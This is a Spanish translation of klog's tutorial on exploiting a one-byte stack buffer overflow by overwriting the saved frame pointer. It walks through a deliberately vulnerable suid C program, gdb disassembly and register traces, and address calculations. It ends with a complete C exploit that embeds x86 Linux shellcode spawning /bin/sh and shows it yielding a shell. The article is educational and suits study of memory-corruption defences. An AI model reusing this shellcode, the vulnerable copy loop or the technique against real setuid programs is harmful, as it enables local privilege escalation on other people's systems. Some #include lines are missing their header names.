*/ translated by honoriak thz to klog for letting me translate and publish this text */ -------------------------[ La sobreescritura del puntero de marco ] --------[ klog ] ----[ Introduccion Los buffers pueden ser desbordados, y sobreescribiendo datos criticos almacenados en el espacio de la direccion del proceso a atacar, podemos moficar el flujo de ejecucion. Esto ya es viejo. Este articulo no es sobre como 'explotar' los buffer overflows, ni explica la vulnerabilidad en si misma. Simplemente demuestra que es posible 'explotar' tal vulnerabilidad incluso bajo las peores condiciones, como cuando el buffer solo puede ser desbordado en un byte. Existen algunas otras tecnicas exotericas donde el objetivo es 'explotar' procesos 'trusted' en las situaciones mas hostiles, incluyendo cuando los privilegios estan cortados. Aqui solo cubriremos el desbordamiento de un byte. ----[ El objeto de nuestro ataque Escribamos un seudo-programa vulnerable suid, el cual llamaremos a "suid". Esta escrito de forma que solo un byte desborde su buffer. ipdev:~/tests$ cat > suid.c #include func(char *sm) { char buffer[256]; int i; for(i=0;i<=256;i++) buffer[i]=sm[i]; } main(int argc, char *argv[]) { if (argc < 2) { printf("missing args\n"); exit(-1); } func(argv[1]); } ^D ipdev:~/tests$ gcc suid.c -o suid ipdev:~/tests$ Como puedes ver, no tendremos mucho espacio para 'explotar' el programa. De echo, el desbordamiento solo es causado por un byte que excede el espacio de almacenamiento del buffer. Tendremos que usar este byte de forma inteligente. Antes de 'exploitacion' alguna, debemos echar un vistazo a lo que este byte realmente sobreescribe (probablemente ya lo sabes, pero deminios, quien sabe). Desensamblemos de nuevo la pila usando gdb, en el momento que el desbordamiento ocurre. ipdev:~/tests$ gdb ./suid ... (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) Como sabemos, el procesador primero pondra %eip en la pila, como la instruccion CALL requiere. A continuacion, nuestro reducido programa pondra %ebp sobre esto, como ves en *0x8048134. Finalmente, se activa un marco local dejando 0x104 de espacio a %esp. Esto significa que nuestras variables locales seran 0x104 bytes de grandes (0x100 por la cadena, 0x004 por el entero). Por favor ten en cuenta que las variables estan fisicamente metidas en fr 4 en 4 bytes, asi que un buffer de 255 bytes tomaria como espacio un buffer de 256 byte. Ahora podemos decir como era nuestra pila antes de que el desbordamiente ocurriese: saved_eip saved_ebp char buffer[255] char buffer[254] ... char buffer[000] int i Esto significa que el desbordamiento de un byte sobreescribira el puntero de marco salvado, el cual estaba puesto en la pila en el principio de func(). Pero como podemos usar este byte para modificar el flujo de ejecucion de nuestro programa? Hecha un vistazo a lo que pasa con la imagen de %ebp. Ya sabemos que esto esta puesto al final de func(), como podemos ver en *0x804817e. Pero, y despues? (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) Fantastico! Despues de que func() ha sido llamada, en el final del main(), %ebp sera copiada a %esp, como se ve en *0x80481b1. Esto significa que a %esp le podemos poner un valor arbitrario. Pero recuerda, este valor arbitrario no es realmente arbitrario, desde que solo puedes modificar el ultimo byte de %esp. Chequeemos para ver si todo es correcto. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b4 Breakpoint 2 at 0x80481b4 (gdb) run erflow 257 Starting program: /home/klog/tests/suid erflow 257 Breakpoint 2, 0x80481b4 in main () (gdb) info register esp esp 0xbffffd45 0xbffffd45 (gdb) Parece que era asi. Despues de desbordar el buffer con una 'A' (0x41), %ebp es movida a %esp, el cual es incrementado por 4 desde que %ebp es 'poped' desde la pila hasta justo antes de RET. Esto nos da 0xbffffd41 + 0x4 = 0xbffffd45. ----[ Consiguiendo la preparacion Que nos da el cambio del puntero de la pila? No podemos cambiar el valor del %eip salvado directamente como en una 'explotacion' de buffer overflow convencional, pero podemos hacer que el procesador piense que esta en otro luegar. Cuando el procesador retorna de un procesdimiento, solo 'popea' la primera palabra en la pila, averiguando que es el original %eip. Pero si alteramos %esp, podemos hacer que el procesador 'popee' cualquier valor de la pila como si fuese %eip, y asi cambie el flujo de ejecucion. Veamos el desbordamiento de buffer usando la siguiente cadena: [nops][shellcode][&shellcode][%ebp_altering_byte] Para hacer esto, debemos primero determinar que valor queremos alterar con %ebp (y por tanto %esp). Echemos un vistazo a como es la pila cuando el buffer overflow haya ocurrido: saved_eip saved_ebp (altered by 1 byte) &shellcode \ shellcode | char buffer nops / int i Aqui, queremos que %esp apunte a &shellcode, asi que la direccion del shellcode sera 'popeada' a %eip cuando el procesador retorne de main(). Ahora que tenemos el conocimiento al completo de como queremos 'explotar' nuestro programa vulnerable, necesitamos extraer informacion del proceso mientras es ejecutado en el contexto en el que sera 'explotado'. Esta informacion consiste en la direccion del buffer desbordado, y la direccion del puntero de nuestro shellcode (&shellcode). Ejecutemos el programa como si quisiesemos desbordarlo con una cadena de 257 bytes. Para hacer esto, debemos escribir un fake exploit que reproduzca el contexto en el que 'explotamos' un proceso vulnerable. (gdb) q ipdev:~/tests$ cat > fake_exp.c #include #include main() { int i; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=256;i++) { buffer[i] = 'A'; } execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc fake_exp.c -o fake_exp ipdev:~/tests$ gdb --exec=fake_exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp2 Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804813d Breakpoint 1 at 0x804813d (gdb) c Continuing. Breakpoint 1, 0x804813d in func () (gdb) info register esp esp 0xbffffc60 0xbffffc60 (gdb) Bingo. Ahora tenemos %esp justo despues del marco de la funcion que ha sido activada. A partir de este valor, podemos ahora averiguar que nuestro buffer esta alojado en la direccion 0xbffffc60 + 0x04 (dimensiones de 'int i') = 0xbffffc64, y que el puntero a nuestro shellcode sera situado en la direccion 0xbffffc64 + 0x100 (dimensiones de 'char buffer[256]') - 0x04 (dimensiones de nuestro puntero) = 0xbffffd60. ----[ Hora de atacar Teniendo esos valores ya nos es posible escribir una verion completo de el exploit, incluyendo el shellcode, el puntero al shellcode y el byte sobreescrito. El valor que necesitamos para sobreescribir el ultimo byte de la %ebp salvada sera 0x60 - 0x04 = 0x5c, ya que como recuerdas, 'popeamos' %ebp justo antes de retornar del main(). Estos 4 bytes compensaran %ebp siendo borrados de la pila. El puntero de nuestro shellcode no lo necesitamos realmente tenerlo para apuntar a una direccion determinada. Todo lo que necesitamos es hacer que el procesador retorne en el medio de los nops entre el principio del buffer desbordado (0xbffffc64) y nuestro shellcode (0xbffffc64 - sizeof(shellcode)), como en un buffer overflow normal. Usemos 0xbffffc74. ipdev:~/tests$ cat > exp.c #include #include char sc_linux[] = "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07" "\x89\x56\x0f\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12" "\x8d\x4e\x0b\x8b\xd1\xcd\x80\x33\xc0\x40\xcd\x80\xe8" "\xd7\xff\xff\xff/bin/sh"; main() { int i, j; char buffer[1024]; bzero(&buffer, 1024); for (i=0;i<=(252-sizeof(sc_linux));i++) { buffer[i] = 0x90; } for (j=0,i=i;j<(sizeof(sc_linux)-1);i++,j++) { buffer[i] = sc_linux[j]; } buffer[i++] = 0x74; /* buffer[i++] = 0xfc; * Direccion de nuestro buffer buffer[i++] = 0xff; * buffer[i++] = 0xbf; */ buffer[i++] = 0x5c; execl("./suid", "suid", buffer, NULL); } ^D ipdev:~/tests$ gcc exp.c -o exp ipdev:~/tests$ ./exp bash$ Fantastico! Tomemos una mejor conciencia de lo que realmente paso. Aunque programamos nuestro exploit en base a la teoria que pongo en este manual, estaria bien ver lo que se obtiene todo junto. Puedes para de leer aqui si entiendes todo lo explicado anteriormente, y empezar a buscar vulnerabilidades. ipdev:~/tests$ gdb --exec=exp --symbols=suid ... (gdb) run Starting program: /home/klog/tests/exp Program received signal SIGTRAP, Trace/breakpoint trap. 0x8048090 in ___crt_dummy__ () (gdb) Primero ponemos algunos breakpoints para ver nuestro 'exploitacion' cuidadosamente de nuestro programa suid ocurrido delante de tus ojos. Debemos intentar seguir el valor de nuestro puntero de marco sobreescrito hasta que nuestro shellcode empieza a ser ejecutado. (gdb) disassemble func Dump of assembler code for function func: 0x8048134 : pushl %ebp 0x8048135 : movl %esp,%ebp 0x8048137 : subl $0x104,%esp 0x804813d : nop 0x804813e : movl $0x0,0xfffffefc(%ebp) 0x8048148 : cmpl $0x100,0xfffffefc(%ebp) 0x8048152 : jle 0x8048158 0x8048154 : jmp 0x804817c 0x8048156 : leal (%esi),%esi 0x8048158 : leal 0xffffff00(%ebp),%edx 0x804815e : movl %edx,%eax 0x8048160 : addl 0xfffffefc(%ebp),%eax 0x8048166 : movl 0x8(%ebp),%edx 0x8048169 : addl 0xfffffefc(%ebp),%edx 0x804816f : movb (%edx),%cl 0x8048171 : movb %cl,(%eax) 0x8048173 : incl 0xfffffefc(%ebp) 0x8048179 : jmp 0x8048148 0x804817b : nop 0x804817c : movl %ebp,%esp 0x804817e : popl %ebp 0x804817f : ret End of assembler dump. (gdb) break *0x804817e Breakpoint 1 at 0x804817e (gdb) break *0x804817f Breakpoint 2 at 0x804817f (gdb) Esos primeros breapoints nos permitiran monitorizar el contenido de %ebp antes y despues de ser 'popeado' de la pila. Estos valores se corresponderan a los valores original y sobreescrito. (gdb) disassemble main Dump of assembler code for function main: 0x8048180
: pushl %ebp 0x8048181 : movl %esp,%ebp 0x8048183 : cmpl $0x1,0x8(%ebp) 0x8048187 : jg 0x80481a0 0x8048189 : pushl $0x8058ad8 0x804818e : call 0x80481b8 <_IO_printf> 0x8048193 : addl $0x4,%esp 0x8048196 : pushl $0xffffffff 0x8048198 : call 0x804d598 0x804819d : addl $0x4,%esp 0x80481a0 : movl 0xc(%ebp),%eax 0x80481a3 : addl $0x4,%eax 0x80481a6 : movl (%eax),%edx 0x80481a8 : pushl %edx 0x80481a9 : call 0x8048134 0x80481ae : addl $0x4,%esp 0x80481b1 : movl %ebp,%esp 0x80481b3 : popl %ebp 0x80481b4 : ret 0x80481b5 : nop 0x80481b6 : nop 0x80481b7 : nop End of assembler dump. (gdb) break *0x80481b3 Breakpoint 3 at 0x80481b3 (gdb) break *0x80481b4 Breakpoint 4 at 0x80481b4 (gdb) Aqui queremos monitorizar la transferencia de nuestro %ebp sobreescrito a %esp y el contenido de %esp hasta que el retorno de main() ocurre. Ejecutemos el programa. (gdb) c Continuing. Breakpoint 1, 0x804817e in func () (gdb) info reg ebp ebp 0xbffffd64 0xbffffd64 (gdb) c Continuing. Breakpoint 2, 0x804817f in func () (gdb) info reg ebp ebp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 3, 0x80481b3 in main () (gdb) info reg esp esp 0xbffffd5c 0xbffffd5c (gdb) c Continuing. Breakpoint 4, 0x80481b4 in main () (gdb) info reg esp esp 0xbffffd60 0xbffffd60 (gdb) Al principio, vemos el valor original de %ebp. Despues se ve 'popeado' de la pila, podemos ver que es reemplazado por uno que ha sido sobreescrito por el ultimo byte de nuestra cadena de desbordamiento, 0x5c. Despues de eso, %ebp es movido a %esp, y finalmente, despues de que %ebp es 'popead' de la pila de nuevo, %esp es incrementado en 4 bytes. Esto nos da un valor final de 0xbffffd60. Echemos un vistazo a lo que pasa alli. (gdb) x 0xbffffd60 0xbffffd60 <__collate_table+3086619092>: 0xbffffc74 (gdb) x/10 0xbffffc74 0xbffffc74 <__collate_table+3086618856>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc84 <__collate_table+3086618872>: 0x90909090 0x90909090 0x90909090 0x90909090 0xbffffc94 <__collate_table+3086618888>: 0x90909090 0x90909090 (gdb) Podemos ver que 0xbffffd60 es la direccion actual de un puntero que puntua al medio de los nops justo antes de nuestro shellcode. Cuando el procesador retorne de main(), 'popeara' este puntero a %eip, y saltara a la direccion exacta de 0xbffffc74. En ese momento es cuando nuestro shellcode es ejecutado. (gdb) c Continuing. Program received signal SIGTRAP, Trace/breakpoint trap. 0x40000990 in ?? () (gdb) c Continuing. bash$ ----[ Conclusiones Aunque la tecnica parece bueno, algunos problemas aun estan sin resolver. Alterando el flujo de ejecucion de un programa con solo un byte de sobreescritura de datos es, ciertamente, posible, pero bajo que condiciones? De hecho, reproducir el contexto de 'explotacion' puede ser una dura tarea en un entorno hostil, o peor, en un host remoto. Nos requeriria averiguar las dimensiones exactas de la pila de nuestro proceso a atacar. A este problema aumentamos la necesidad de nuestro buffer desbordado de esta justo despues del puntero de marco salvado, lo cual significa que debe ser la primera variable en ser declarada en la funcion. Sin necesidad de decir, el relleno debe ser tambien tomado en consideracion. Y que hay sobre el ataque a arquitecturas con big endian? No podemos esforzarnos solo en poder sobreescribir el byte mas significativo de el puntero de marco, a no ser que tengamos la habilidad para alcanzar esta direccion alterada... Las conclusiones podrian describir casi como imposible el hecho de una situacion de exploit. Aunque seria una sorpresa orit que alguien ha aplicado esta tecnica en una vulnerabilidad real, esto seguro que nos prueba que no hay un gran o reducido overflow, ni hay una gran o reducida vulnerabilidad. Todo es explotable, todo lo que necesitas es encontrarlo. Graicas a: binf, rfp, halflife, route ----[ EOF /* finished translation Fri Dec 8 01:25:30 CET 2000 */